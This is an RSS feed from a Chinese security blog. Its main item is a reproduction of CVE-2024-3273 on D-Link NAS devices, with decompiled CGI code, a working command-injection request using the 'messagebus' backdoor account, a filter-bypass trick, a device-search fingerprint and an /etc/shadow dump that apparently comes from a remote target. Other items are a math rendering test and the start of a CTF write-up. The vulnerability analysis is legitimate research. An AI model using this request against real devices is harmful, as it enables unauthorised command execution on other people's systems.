<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:version="2.0"><channel><title>💠 Pine</title><description>A clean, elegant, and fast static blog template! 🚀 Developed with Astro</description><link>http://pinesawfly.top/</link><language>zh</language><item><title>CVE-2024-3273</title><link>http://pinesawfly.top/blog/cve-2024-3273/</link><guid isPermaLink="true">http://pinesawfly.top/blog/cve-2024-3273/</guid><description>漏洞复现</description><content:encoded>&lt;h1&gt;摘要&lt;/h1&gt;
&lt;p&gt;在D-LinkNAS中多个产品的/cgi-bin/nas_sharing.cgi脚本中存在硬编码后门漏洞（用户名messagebus，密码为空），system参数通过Base64编码可以执行系统命令威胁者可组合利用这两个漏洞通过HTTP GET请求将Base64编码的命令添加到system参数从而在系统上执行任意命令，成功利用可能导致未授权访问敏感信息、修改系统配置或拒绝服务等。&lt;/p&gt;
&lt;h2&gt;影响范围&lt;/h2&gt;
&lt;p&gt;DNS-320L 版本1.11、版本1.03.0904.2013、版本1.01.0702.2013&lt;/p&gt;
&lt;p&gt;DNS-325 版本1.01&lt;/p&gt;
&lt;p&gt;DNS-327L 版本1.09，版本1.00.0409.2013&lt;/p&gt;
&lt;p&gt;DNS-340L 版本1.08&lt;/p&gt;
&lt;h1&gt;环境&lt;/h1&gt;
&lt;p&gt;使用的固件 -&amp;gt; &lt;a href=&quot;https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip&quot;&gt;dns-340l&lt;/a&gt; &lt;a href=&quot;https://support.dlink.com/resource/products/dns-320l/REVA/DNS-320L_FIRMWARE_1.03B08.ZIP&quot;&gt;dns-320l&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;虚拟机  -&amp;gt; IOT-Research&lt;/p&gt;
&lt;p&gt;反汇编分析工具 -&amp;gt; IDA_Pro 9.0&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;https://media.dlink.eu/support/products/dns/dns-340l/driver_software/dns-340l_fw_reva1_1-08_eu_multi_20180731.zip
https://support.dlink.com/resource/products/dns-320l/REVA/DNS-320L_FIRMWARE_1.03B08.ZIP
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;指纹 -&amp;gt; _fid=&amp;quot;hWN+yVVhLzKJaLkd/ITHpA==&amp;quot; &amp;amp;&amp;amp; Country !=&amp;quot;CN&amp;quot;&lt;/p&gt;
&lt;h1&gt;复现过程&lt;/h1&gt;
&lt;h2&gt;简单测试&lt;/h2&gt;
&lt;p&gt;poc -&amp;gt; &lt;a href=&quot;https://github.com/Chocapikk/CVE-2024-3273&quot;&gt;https://github.com/Chocapikk/CVE-2024-3273&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.nlark.com/yuque/0/2025/png/42510131/1761495983497-64a3f477-3285-4949-b538-d81e612fdd51.png&quot; alt=&quot;alt&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://cdn.nlark.com/yuque/0/2025/png/42510131/1761496001189-1f5c8392-b4e2-4d29-a155-174ba04a0d43.png&quot; alt=&quot;alt&quot;&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;GET /cgi-bin/nas_sharing.cgi?cmd=15&amp;amp;passwd=&amp;amp;system=aWQ=&amp;amp;user=messagebus HTTP/1.1
Host: xxx.xxx.xxx.xxx
Accept: application/xml, text/xml, */*; q=0.01
Referer: http://xxx.xxx.xxx.xxx/
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Origin: http://xxx.xxx.xxx.xxx
Accept-Language: zh-CN,zh;q=0.9

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;返回id的执行内容就算成功了，也就是system={{base64_enc(cmd)}}&lt;/p&gt;
&lt;h2&gt;分析固件&lt;/h2&gt;
&lt;p&gt;我们对将DLINK_DNS-340L_1.08b01(1.01.0502.2018)进行binwalk解包&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;binwalk -Me DLINK_DNS-340L_1.08b01(1.01.0502.2018)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用exp攻击后，根据远程目标靶机上返回的pwd值，确定目标运行路径是&lt;code&gt;/var/www/cgi-bin&lt;/code&gt;也就是说我们攻击入口是&lt;code&gt;/var/www/cgi-bin/nassharing.cgi &lt;/code&gt;，对应固件中的&lt;code&gt;squashfs-root/cgi/nassharing.cgi&lt;/code&gt; ，&lt;code&gt;squashfs&lt;/code&gt;是它应用系统的挂载点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int cgiMain()
{
    int v0; // r5
    int v1; // r3
    int v3; // [sp+0h] [bp-20h] BYREF
    int v4; // [sp+4h] [bp-1Ch]
    char nptr[4]; // [sp+8h] [bp-18h] BYREF
    int v6; // [sp+Ch] [bp-14h]

    v3 = 0;
    v4 = 0;
    *(_DWORD *)nptr = 0;
    v6 = 0;
    ((void (__fastcall *)(const char *, int *, int))cgiFormString)(&amp;quot;cmd&amp;quot;, &amp;amp;v3, 8);
    v0 = strtol((const char *)&amp;amp;v3, 0, 10);
    cgiFormString(&amp;quot;dbg&amp;quot;, nptr, 8, v1, v3, v4);
    if ( nptr[0] )
        dword_3E4FC = strtol(nptr, 0, 10);
    switch ( v0 )
    {
        case 0:
            sub_196AC();
            break;
        case 1:
            sub_12C50();
            break;
       .....
        case 13:
            sub_14DB4();
            break;
        case 14:
            sub_151B0();
            break;
        case 15:
            sub_19108();
            break;
        case 16:
            sub_19230();
            break;
        ......
        case 75:
            sub_1AC74();
            break;
        case 76:
            sub_1B4DC();
            break;
        case 77:
            sub_1AEC8();
            break;
        case 78:
            sub_1AD9C();
            break;
        case 80:
            sub_1B2D0();
            break;
        case 81:
        case 82:
        case 83:
        case 84:
        case 85:
        case 86:
        case 87:
        case 88:
        case 89:
            sub_1B604(v0);
            break;
        ......
            break;
        case 98:
            sub_1C790();
            break;
        case 99:
      sub_1C9CC();
      break;
    case 100:
      sub_1CD24();
      break;
    ......   
    default:
      sub_128D0();
      break;
  }
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码从表单中获取了传入cmd和dbg的值，并对cmd的值进行了判断，也就是我们POC中传入的&amp;quot;cmd=15&amp;quot;&lt;/p&gt;
&lt;p&gt;我们跟进case 15对应的sub_19108()函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int sub_19108()
{
    int v0; // r3
    int v1; // r3
    int v2; // r3
    int v3; // r0
    int v5; // r3
    _DWORD v6[1024]; // [sp+0h] [bp-4008h] BYREF
    _BYTE s[4096]; // [sp+1000h] [bp-3008h] BYREF
    char v8[4096]; // [sp+2000h] [bp-2008h] BYREF
    char command[4104]; // [sp+3000h] [bp-1008h] BYREF

    memset(v6, 0, sizeof(v6));
    memset(s, 0, sizeof(s));
    memset(v8, 0, sizeof(v8));
    memset(command, 0, 0x1000u);
    ((void (__fastcall *)(const char *, _DWORD *, int, int))cgiFormString)(&amp;quot;user&amp;quot;, v6, 4096, v0);
    cgiFormString(&amp;quot;passwd&amp;quot;, s, 4096, v1, v6[0], v6[1]);
    v2 = LOBYTE(v6[0]);
    if ( !LOBYTE(v6[0]) )
    {
        v2 = s[0];
        if ( !s[0] )
        {
            ((void (__fastcall *)(const char *, _DWORD *, int, _DWORD))cgiFormString)(&amp;quot;id1&amp;quot;, v6, 4096, s[0]);
            cgiFormString(&amp;quot;id2&amp;quot;, s, 4096, v5, v6[0], v6[1]);
        }
    }
    cgiFormString(&amp;quot;system&amp;quot;, v8, 4096, v2, v6[0], v6[1]);  // 获取system参数
    if ( !sub_1E1CC(v6, s) )  // 身份验证检查
        return sub_128D0();    // 验证失败的处理
    strlen(v8);
    sub_1DD88((u_char *)command, v8);  // base64解码v8传入command 这里应该是有错误的，strlen应该作为一个参数传入到这个函数中
    fix_path_special_char(command);    // 修复路径特殊字符
    v3 = system(command);              // 执行系统命令
    return sub_12998(v3);              // 返回执行结果
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到，代码从CGI表单获取&amp;quot;user&amp;quot;和&amp;quot;passwd&amp;quot;字段传入到v6和s。如果都为空就从id1和id2中获取。之后传入sub_1E1CC认证&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int sub_128D0()
{
  int v0; // r4 - XML文档指针
  int v1; // r7 - 根节点指针  
  int v2; // r6 - 子节点指针
  char *format; // [sp+0h] [bp-20h] BYREF - 输出的XML字符串
  int v5; // [sp+4h] [bp-1Ch] BYREF - XML字符串长度
  v0 = xmlNewDoc(&amp;quot;1.0&amp;quot;);           // 创建XML文档，版本1.0
  v1 = xmlNewNode(0, &amp;quot;config&amp;quot;);    // 创建根节点&amp;quot;config&amp;quot;
  xmlDocSetRootElement(v0, v1);    // 设置根节点
  v2 = xmlNewNode(0, &amp;quot;nas_sharing&amp;quot;);      // 创建&amp;quot;nas_sharing&amp;quot;节点
  xmlAddChild(v1, v2);                    // 添加到根节点
  xmlNewChild(v2, 0, &amp;quot;auth_state&amp;quot;, &amp;quot;0&amp;quot;);  // 添加子节点&amp;quot;auth_state&amp;quot;值为&amp;quot;0&amp;quot;
  xmlDocDumpMemoryEnc(v0, &amp;amp;format, &amp;amp;v5, &amp;quot;UTF-8&amp;quot;);  // 将XML转为UTF-8字符串
  fprintf((FILE *)cgiOut, format);                  // 输出到CGI响应
  free(format);              // 释放XML字符串内存
  return free_xml_memory(v0); // 释放XML文档内存
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可见如果passwd和user认证失败会返回一个xml，其中auth_state为0，回显包如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;HTTP/1.1 200 OK
Content-Language: en
P3P: CP=&amp;#39;CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&amp;#39;
Date: Mon, 27 Oct 2025 08:26:00 GMT
Server: lighttpd/1.4.28
Content-Type: text/xml; charset=utf-8
Content-Length: 111

&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot; ?&amp;gt;
&amp;lt;config&amp;gt;&amp;lt;nas_sharing&amp;gt;&amp;lt;auth_state&amp;gt;0&amp;lt;/auth_state&amp;gt;&amp;lt;/nas_sharing&amp;gt;&amp;lt;/config&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;而如果认证成功则会进入sub_12998并回显一个auth_state为1的xml。我们跟进sub_1E1CC认证函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int __fastcall sub_1E1CC(const char *a1, const char *a2)
{
  const char *v4; // r7 - 遍历特殊用户名的指针
  const char *v5; // t1 - 临时存储当前特殊用户名
  int result; // r0 - 函数返回值
  FILE *v7; // r5 - shadow文件指针
  struct passwd *v8; // r0 - 从shadow文件读取的用户信息
  struct passwd *v9; // r6 - 存储匹配的用户信息
  const char *v10; // r0 - 密码验证结果
  char v11[4096]; // [sp+0h] [bp-1118h] BYREF - Base64解码后的密码缓冲区
  char s[128]; // [sp+1000h] [bp-118h] BYREF - 存储shadow文件中的密码哈希
  char dest[152]; // [sp+1080h] [bp-98h] BYREF - 处理密码的临时缓冲区

  // 初始化所有缓冲区为0
  memset(s, 0, sizeof(s));        // 清空密码哈希缓冲区
  memset(dest, 0, 0x80u);         // 清空密码处理缓冲区
  memset(v11, 0, sizeof(v11));    // 清空Base64解码缓冲区
  
  v4 = &amp;quot;dbg&amp;quot;;  // 指向特殊用户名列表的起始位置（假设&amp;quot;dbg&amp;quot;是第一个特殊用户）
  
  while ( 1 )// 循环检查特殊用户名
  {
    v5 = (const char *)*((_DWORD *)v4 + 1);  // 获取当前特殊用户名
    v4 += 4;                                 // 移动到下一个特殊用户条目
    result = strcmp(a1, v5);                 // 比较输入用户名与特殊用户名
    if ( !result )                           // 如果匹配成功
      break;                                 // 跳出循环，返回成功
    if ( v4 == (const char *)off_2BCF0 )    // off_2BCF0可能是特殊用户列表的结束标记
    {
      if ( *a2 )      // 如果密码不为空
      {
        _b64_pton(a2, (u_char *)v11, 0x1000u);// 对Base64编码的密码进行解码
        if ( dword_3E4FC )// 如果调试模式开启，输出密码信息
        {
          sub_12878(&amp;quot;pwd [%s]\n&amp;quot;, a2);           // 输出原始密码（Base64）
          sub_12878(&amp;quot;pwd decode[%s]\n&amp;quot;, v11);    // 输出解码后的密码
        }
      }
      v7 = (FILE *)fopen64(&amp;quot;/etc/shadow&amp;quot;, &amp;quot;r&amp;quot;);// 打开系统shadow文件读取用户密码信息      
      do// 循环读取shadow文件中的用户条目
      {
        v8 = fgetpwent(v7);  // 获取下一个用户密码条目
        v9 = v8;             // 保存当前用户条目
        if ( !v8 )           // 如果到达文件末尾（用户不存在）
          return 0;          // 返回验证失败
      }
      while ( strcmp(v8-&amp;gt;pw_name, a1) );  // 继续查找直到找到匹配的用户名
      strncpy(s, v9-&amp;gt;pw_passwd, 0x80u);// 复制找到用户的密码哈希到缓冲区s
      fclose(v7);  // 关闭shadow文件
      strncpy(dest, v11, 0x80u);// 复制解码后的密码到dest缓冲区
      v10 = (const char *)sub_1E160((int)dest, s);// 调用密码验证函数sub_1E160进行密码验证
      return strncmp(v10, s, 0x80u) == 0;// 比较验证结果与原始密码哈希，返回比较结果
    }
  }
  return result;// 如果是特殊用户，直接返回验证成功
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先检查用户名是否在预定义的特殊用户列表中，如果是则直接返回验证，如果不是就Base64解码传入的密码，读取系统/etc/shadow文件，查找对应用户名的密码哈希，使用sub_1E160函数验证密码，比较验证结果与存储的哈希值。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;.rodata:0002BCDC aDbg            DCB &amp;quot;dbg&amp;quot;,0             ; DATA XREF: cgiMain+48↑o
.rodata:0002BCDC                                         ; .text:off_1DD80↑o ...
.rodata:0002BCE0 off_2BCE0       DCD aRoot               ; DATA XREF: sub_1E1CC+4C↑r
.rodata:0002BCE0                                         ; &amp;quot;root&amp;quot;
.rodata:0002BCE4                 DCD aNobody             ; &amp;quot;nobody&amp;quot;
.rodata:0002BCE8                 DCD aFtp                ; &amp;quot;ftp&amp;quot;
.rodata:0002BCEC                 DCD aSqueezecenter      ; &amp;quot;squeezecenter&amp;quot;
.rodata:0002BCF0 off_2BCF0       DCD aSshd               ; DATA XREF: sub_1E324+4↑o
.rodata:0002BCF0                                         ; .text:off_1E3DC↑o
.rodata:0002BCF0                                         ; &amp;quot;sshd&amp;quot;
.rodata:0002BCF4 off_2BCF4       DCD aRoot               ; DATA XREF: sub_1E324+1C↑r
.rodata:0002BCF4                                         ; &amp;quot;root&amp;quot;
.rodata:0002BCF8                 DCD aNobody             ; &amp;quot;nobody&amp;quot;
.rodata:0002BCFC                 DCD aFtp                ; &amp;quot;ftp&amp;quot;
.rodata:0002BD00                 DCD aSqueezecenter      ; &amp;quot;squeezecenter&amp;quot;
.rodata:0002BD04                 DCD aSshd               ; &amp;quot;sshd&amp;quot;
.rodata:0002BD08 ; const char a08x[]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们这里可以看到即使是特殊用户列表，指针也会调用sub_1E324&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;int __fastcall sub_1E324(char *s1, const char *a2)
{
  char **v2; // r4                           // 定义字符串指针数组
  const char *v5; // t1                      // 临时字符串指针
  int result; // r0                          // 函数返回值
  FILE *v7; // r6                            // 文件指针
  struct passwd *v8; // r0                   // 密码结构体指针
  struct passwd *v9; // r4                   // 密码结构体指针副本
  const char *v10; // r0                     // 字符串指针
  char v11[80]; // [sp+0h] [bp-B8h] BYREF   // 缓冲区，存储密码哈希
  char dest[104]; // [sp+50h] [bp-68h] BYREF // 缓冲区，存储输入密码

  v2 = off_2BCF0;                           // 初始化指针数组
  while ( 1 )                               // 开始循环
  {
    v5 = v2[1];                             // 获取数组中的下一个字符串
    ++v2;                                   // 指针移动到下一个位置
    result = strcmp(s1, v5);                // 比较输入字符串和数组中的字符串
    if ( !result )                          // 如果字符串匹配
      break;                                // 跳出循环
    if ( v2 == &amp;amp;off_2BD04 )                 // 如果已遍历完数组
    {
      v7 = (FILE *)fopen64(&amp;quot;/etc/shadow&amp;quot;, &amp;quot;r&amp;quot;); // 打开shadow文件
      while ( 1 )                           // 开始循环读取shadow文件
      {
        v8 = fgetpwent(v7);                 // 读取下一个密码条目
        v9 = v8;                            // 保存密码条目
        if ( !v8 )                          // 如果读取失败或文件结束
          break;                            // 跳出循环
        if ( !strcmp(v8-&amp;gt;pw_name, s1) )     // 如果找到匹配的用户名
        {
          strcpy(v11, v9-&amp;gt;pw_passwd);       // 复制密码哈希到缓冲区
          fclose(v7);                       // 关闭shadow文件
          strcpy(dest, a2);                 // 复制输入密码到缓冲区
          v10 = (const char *)sub_1E160((int)dest, v11); // 调用密码加密函数
          return strcmp(v10, v11) == 0;     // 比较加密后的密码与存储的哈希
        }
      }
      return 0;                             // 未找到用户返回0
    }
  }
  return result;                            // 返回字符串比较结果
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sub_1E1CC和sub_1E324均调用了sub_1E160获取密码的哈希&lt;/p&gt;
&lt;p&gt;Linux /etc/shadow 文件只有 root 用户拥有读权限格式如下&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;用户名：加密密码：最后一次修改时间：最小修改时间间隔：密码有效期：密码需要变更前的警告天数：密码过期后的宽限时间：账号失效时间：保留字段
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;admin:$1$$gve3Uka.V1oDuclEp0W.g1:0:0:99999:7:::
nobody:pACwI1fCXYNw6:0:0:99999:7:::
squeezecenter:$1$$o7vIitnZu4MHlaR5S90M/1:15460:0:99999:7:::
root:$1$$qRPK7m23GJusamGpoGLby/:14746:0:99999:7:::
messagebus:$1$$qRPK7m23GJusamGpoGLby/:19060:0:99999:7:::
HramAdmin:$1$$gve3Uka.V1oDuclEp0W.g1:19268:0:99999:7:::
IrinaZabolotnaya:$1$$A1IGgeA6wZYlyzfzp9sV60:19801:0:99999:7:::
Navrotskaya:$1$$PepcYs8FT7wT54SJjROql0:20070:0:99999:7:::
Sharkov:$1$$8w9mpx4vnRY08fRK/ZN0b/:20070:0:99999:7:::
Krikota:$1$$RRfa3MMgwtTOsb0TrxxHu/:20070:0:99999:7:::
Foto:$1$$.YDIniGthJtsdQXpVvVtA/:20179:0:99999:7:::
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里我们messagebus的密码和root一样都是空密码，也就是说，只要我们用户名是messagebus或root并将密码置空就可以执行将system表单接受的v8传入command，再经过fix_path_special_char处理后执行并返回结果。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;    cgiFormString(&amp;quot;system&amp;quot;, v8, 4096, v2, v6[0], v6[1]);  // 获取system参数
    if ( !sub_1E1CC(v6, s) )  // 身份验证检查
        return sub_128D0();    // 验证失败的处理
    strlen(v8);
    sub_1DD88((u_char *)command, v8);  // base64解码v8传入command
    fix_path_special_char(command);    // 修复路径特殊字符
    v3 = system(command);              // 执行系统命令
    return sub_12998(v3);              // 返回执行结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在实际测试中我们发现如果用户名是root或执行的命令中包含空格会执行失败，而exp中不会，检查exp相关代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;command_final = f&amp;quot;echo -e {command_hex}|sh&amp;quot;.replace(&amp;#39; &amp;#39;, &amp;#39;\t&amp;#39;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们可以看到exp将空格以制表符代替，绕过了空格过滤，我们猜测fix_path_special_char就是相关的过滤函数&lt;/p&gt;
&lt;p&gt;我们通过ldd命令查找到usrlib/libmmf.so&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;objdump -T libmmf.so | grep fix_path_special_char
&amp;gt;00003a88 g    DF .text  00000288  Base        fix_path_special_char
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;char *__fastcall fix_path_special_char(char *a1)
{
  char *v2; // r5
  char *v3; // r6
  int v4; // r3
  bool v5; // zf
  char *v6; // r2
  char *result; // r0
  char v8[1048]; // [sp+0h] [bp-418h] BYREF

  memset(v8, 0, 0x400u);
  v2 = strchr(a1, 36);
  if ( v2 )
    goto LABEL_2;
  v3 = strchr(a1, 96);
  if ( v3 )
    goto LABEL_26;
  v2 = strchr(a1, 35);
  if ( v2 )
    goto LABEL_28;
  if ( strchr(a1, 37) )
    goto LABEL_26;
  v3 = strchr(a1, 94);
  if ( v3 )
  {
    v2 = 0;
    v3 = 0;
    goto LABEL_3;
  }
  v2 = strchr(a1, 38);
  if ( v2 )
    goto LABEL_28;
  v3 = strchr(a1, 40);
  if ( v3 )
    goto LABEL_26;
  v2 = strchr(a1, 41);
  if ( v2 )
    goto LABEL_28;
  if ( strchr(a1, 43) )
    goto LABEL_26;
  if ( strchr(a1, 123) || (v2 = strchr(a1, 125)) != 0 )
  {
LABEL_2:
    v2 = 0;
    v3 = 0;
    goto LABEL_3;
  }
  v3 = strchr(a1, 59);
  if ( v3 )
  {
LABEL_26:
    v3 = 0;
    goto LABEL_3;
  }
  v2 = strchr(a1, 91);
  if ( v2 )
    goto LABEL_28;
  v3 = strchr(a1, 93);
  if ( v3 )
    goto LABEL_26;
  v2 = strchr(a1, 39);
  if ( v2 )
  {
LABEL_28:
    v2 = 0;
    goto LABEL_3;
  }
  v3 = strchr(a1, 61);
  if ( v3 )
    goto LABEL_26;
  result = strchr(a1, 32);
  if ( !result )
    return result;
  v2 = 0;
LABEL_3:
  while ( (unsigned int)v2 &amp;lt; strlen(a1) )
  {
    v4 = (unsigned __int8)v2[(_DWORD)a1];
    v5 = v4 == 36;
    if ( v4 != 36 )
      v5 = v4 == 96;
    if ( v5
      || v4 == 35
      || v4 == 37
      || v4 == 94
      || v4 == 38
      || v4 == 40
      || v4 == 41
      || v4 == 43
      || v4 == 123
      || v4 == 125
      || v4 == 59
      || v4 == 91
      || v4 == 93
      || v4 == 39
      || v4 == 61
      || v4 == 32 )
    {
      v6 = &amp;amp;v8[(_DWORD)v3++ + 1024];
      *(v6 - 1024) = 92;
    }
    ++v2;
    v8[(_DWORD)v3++] = v4;
  }
  return strcpy(a1, v8);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;检测特殊字符：检查输入字符串中是否包含以下特殊字符并添加\转义处理&lt;/p&gt;
&lt;p&gt;$ (36), ` (96), # (35), % (37), ^ (94), &amp;amp; (38), ( (40), ) (41), + (43), { (123), } (125), ; (59), [ (91), ] (93), &amp;#39; (39), = (61), 空格 (32)&lt;/p&gt;
&lt;p&gt;对于root执行失败的情况，是因为它在dbg对应的特殊用户列表中，直接跳过检查返回0了&lt;/p&gt;
&lt;h1&gt;修复方案&lt;/h1&gt;
&lt;p&gt;替换固件&lt;/p&gt;
&lt;p&gt;使用漏洞或者UART Console修改messagebus的密码&lt;/p&gt;
&lt;p&gt;在固件中将messagebus的指针去掉&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/cve-2024-3273/&quot;&gt;http://pinesawfly.top/blog/cve-2024-3273/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Fri, 31 Oct 2025 16:00:00 GMT</pubDate></item><item><title>Testing Mathematical Formulas in Markdown</title><link>http://pinesawfly.top/blog/mathematics-examples/</link><guid isPermaLink="true">http://pinesawfly.top/blog/mathematics-examples/</guid><description>A demonstration of various mathematical formulas rendered using LaTeX within Markdown.</description><content:encoded>&lt;p&gt;This document serves as a test for rendering mathematical formulas in Markdown using &lt;code&gt;$$&lt;/code&gt; delimiters.&lt;/p&gt;
&lt;h2&gt;Basic Algebra&lt;/h2&gt;
&lt;p&gt;Let&amp;#39;s start with some fundamental algebraic expressions.&lt;/p&gt;
&lt;p&gt;The quadratic formula is given by:
$$x = \frac{-b \pm \sqrt{b^2-4ac}}{2a}$$&lt;/p&gt;
&lt;p&gt;A simple linear equation:
$$y = mx + c$$&lt;/p&gt;
&lt;p&gt;Expansion of a binomial square:
$$(a+b)^2 = a^2 + 2ab + b^2$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Calculus&lt;/h2&gt;
&lt;p&gt;Here are some common expressions from calculus.&lt;/p&gt;
&lt;p&gt;The limit definition of a derivative:
$$f&amp;#39;(x) = \lim_{h \to 0} \frac{f(x+h) - f(x)}{h}$$&lt;/p&gt;
&lt;p&gt;A definite integral:
$$\int_{a}^{b} f(x) dx$$&lt;/p&gt;
&lt;p&gt;The Taylor series expansion of $e^x$ around $x=0$:
$$e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!} = 1 + x + \frac{x^2}{2!} + \frac{x^3}{3!} + \cdots$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Trigonometry&lt;/h2&gt;
&lt;p&gt;Some basic trigonometric identities.&lt;/p&gt;
&lt;p&gt;Pythagorean identity:
$$\sin^2\theta + \cos^2\theta = 1$$&lt;/p&gt;
&lt;p&gt;Angle addition formula for sine:
$$\sin(\alpha + \beta) = \sin\alpha\cos\beta + \cos\alpha\sin\beta$$&lt;/p&gt;
&lt;p&gt;Euler&amp;#39;s formula:
$$e^{i\theta} = \cos\theta + i\sin\theta$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Statistics and Probability&lt;/h2&gt;
&lt;p&gt;Formulas commonly used in statistics and probability.&lt;/p&gt;
&lt;p&gt;The formula for the mean ($\mu$) of a set of $n$ numbers $x_1, x_2, \ldots, x_n$:
$$\mu = \frac{1}{n} \sum_{i=1}^{n} x_i$$&lt;/p&gt;
&lt;p&gt;The probability density function of a normal distribution:
$$f(x | \mu, \sigma^2) = \frac{1}{\sqrt{2\pi\sigma^2}} e^{-\frac{(x-\mu)^2}{2\sigma^2}}$$&lt;/p&gt;
&lt;p&gt;Bayes&amp;#39; theorem:
$$P(A|B) = \frac{P(B|A)P(A)}{P(B)}$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Linear Algebra&lt;/h2&gt;
&lt;p&gt;Examples from linear algebra.&lt;/p&gt;
&lt;p&gt;A 2x2 matrix:
$$A = \begin{pmatrix} a &amp;amp; b \ c &amp;amp; d \end{pmatrix}$$&lt;/p&gt;
&lt;p&gt;The determinant of a 2x2 matrix:
$$\det(A) = ad - bc$$&lt;/p&gt;
&lt;p&gt;Matrix multiplication of two matrices A and B:
$$C = AB$$&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Physics&lt;/h2&gt;
&lt;p&gt;A couple of well-known physics equations.&lt;/p&gt;
&lt;p&gt;Einstein&amp;#39;s mass-energy equivalence:
$$E = mc^2$$&lt;/p&gt;
&lt;p&gt;Newton&amp;#39;s second law of motion:
$$F = ma$$&lt;/p&gt;
&lt;p&gt;This should provide a good test of how various mathematical formulas are rendered.&lt;/p&gt;
 &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;http://pinesawfly.top/blog/mathematics-examples/&quot;&gt;http://pinesawfly.top/blog/mathematics-examples/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>pine的个人博客</dc:creator><pubDate>Fri, 30 May 2025 16:00:00 GMT</pubDate></item><item><title>强网杯 2019 upload</title><link>http://pinesawfly.top/blog/%E5%BC%BA%E7%BD%91%E6%9D%AF2019upload/</link><guid isPermaLink="true">http://pinesawfly.top/blog/%E5%BC%BA%E7%BD%91%E6%9D%AF2019upload/</guid><description>刷题记录</description><content:encoded>&lt;h1&gt;[强网杯 2019]upload&lt;/h1&gt;
&lt;h2&gt;写在最前&lt;/h2&gt;
&lt;p&gt;本题虽然是 upload 的题目，但是主要考察的是 php 审计和 php 反序列化，重要的是审计思路，题目给出的 hint 是 php 程序中的断点，我们通过分析断点本身包含的信息和该信息来源去向理清程序运行过程。如何查找到我们需要的内容信息和为什么要查找这个内容信息是值得我们思考的。网上绝大多数 WP 只给出怎么做却不知为什么要这么做，更不知如何知道为什么要这么做。&lt;/p&gt;
&lt;h2&gt;分析过程&lt;/h2&gt;
&lt;p&gt;注册登录发现是一个文件上传，正常思路打一遍无果。只能传入图片马，如果传入的是 jpg 会重命名为.png。由于不能上传.hatcess 文件我们无法以 php 方式解析，图片解析POST会 405。其他常规黑盒测试不做细说。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://pic1.imgdb.cn/item/6947d07b441ea36249956970.png&quot; alt=&quot;image&quot;&gt;&lt;/p&gt;
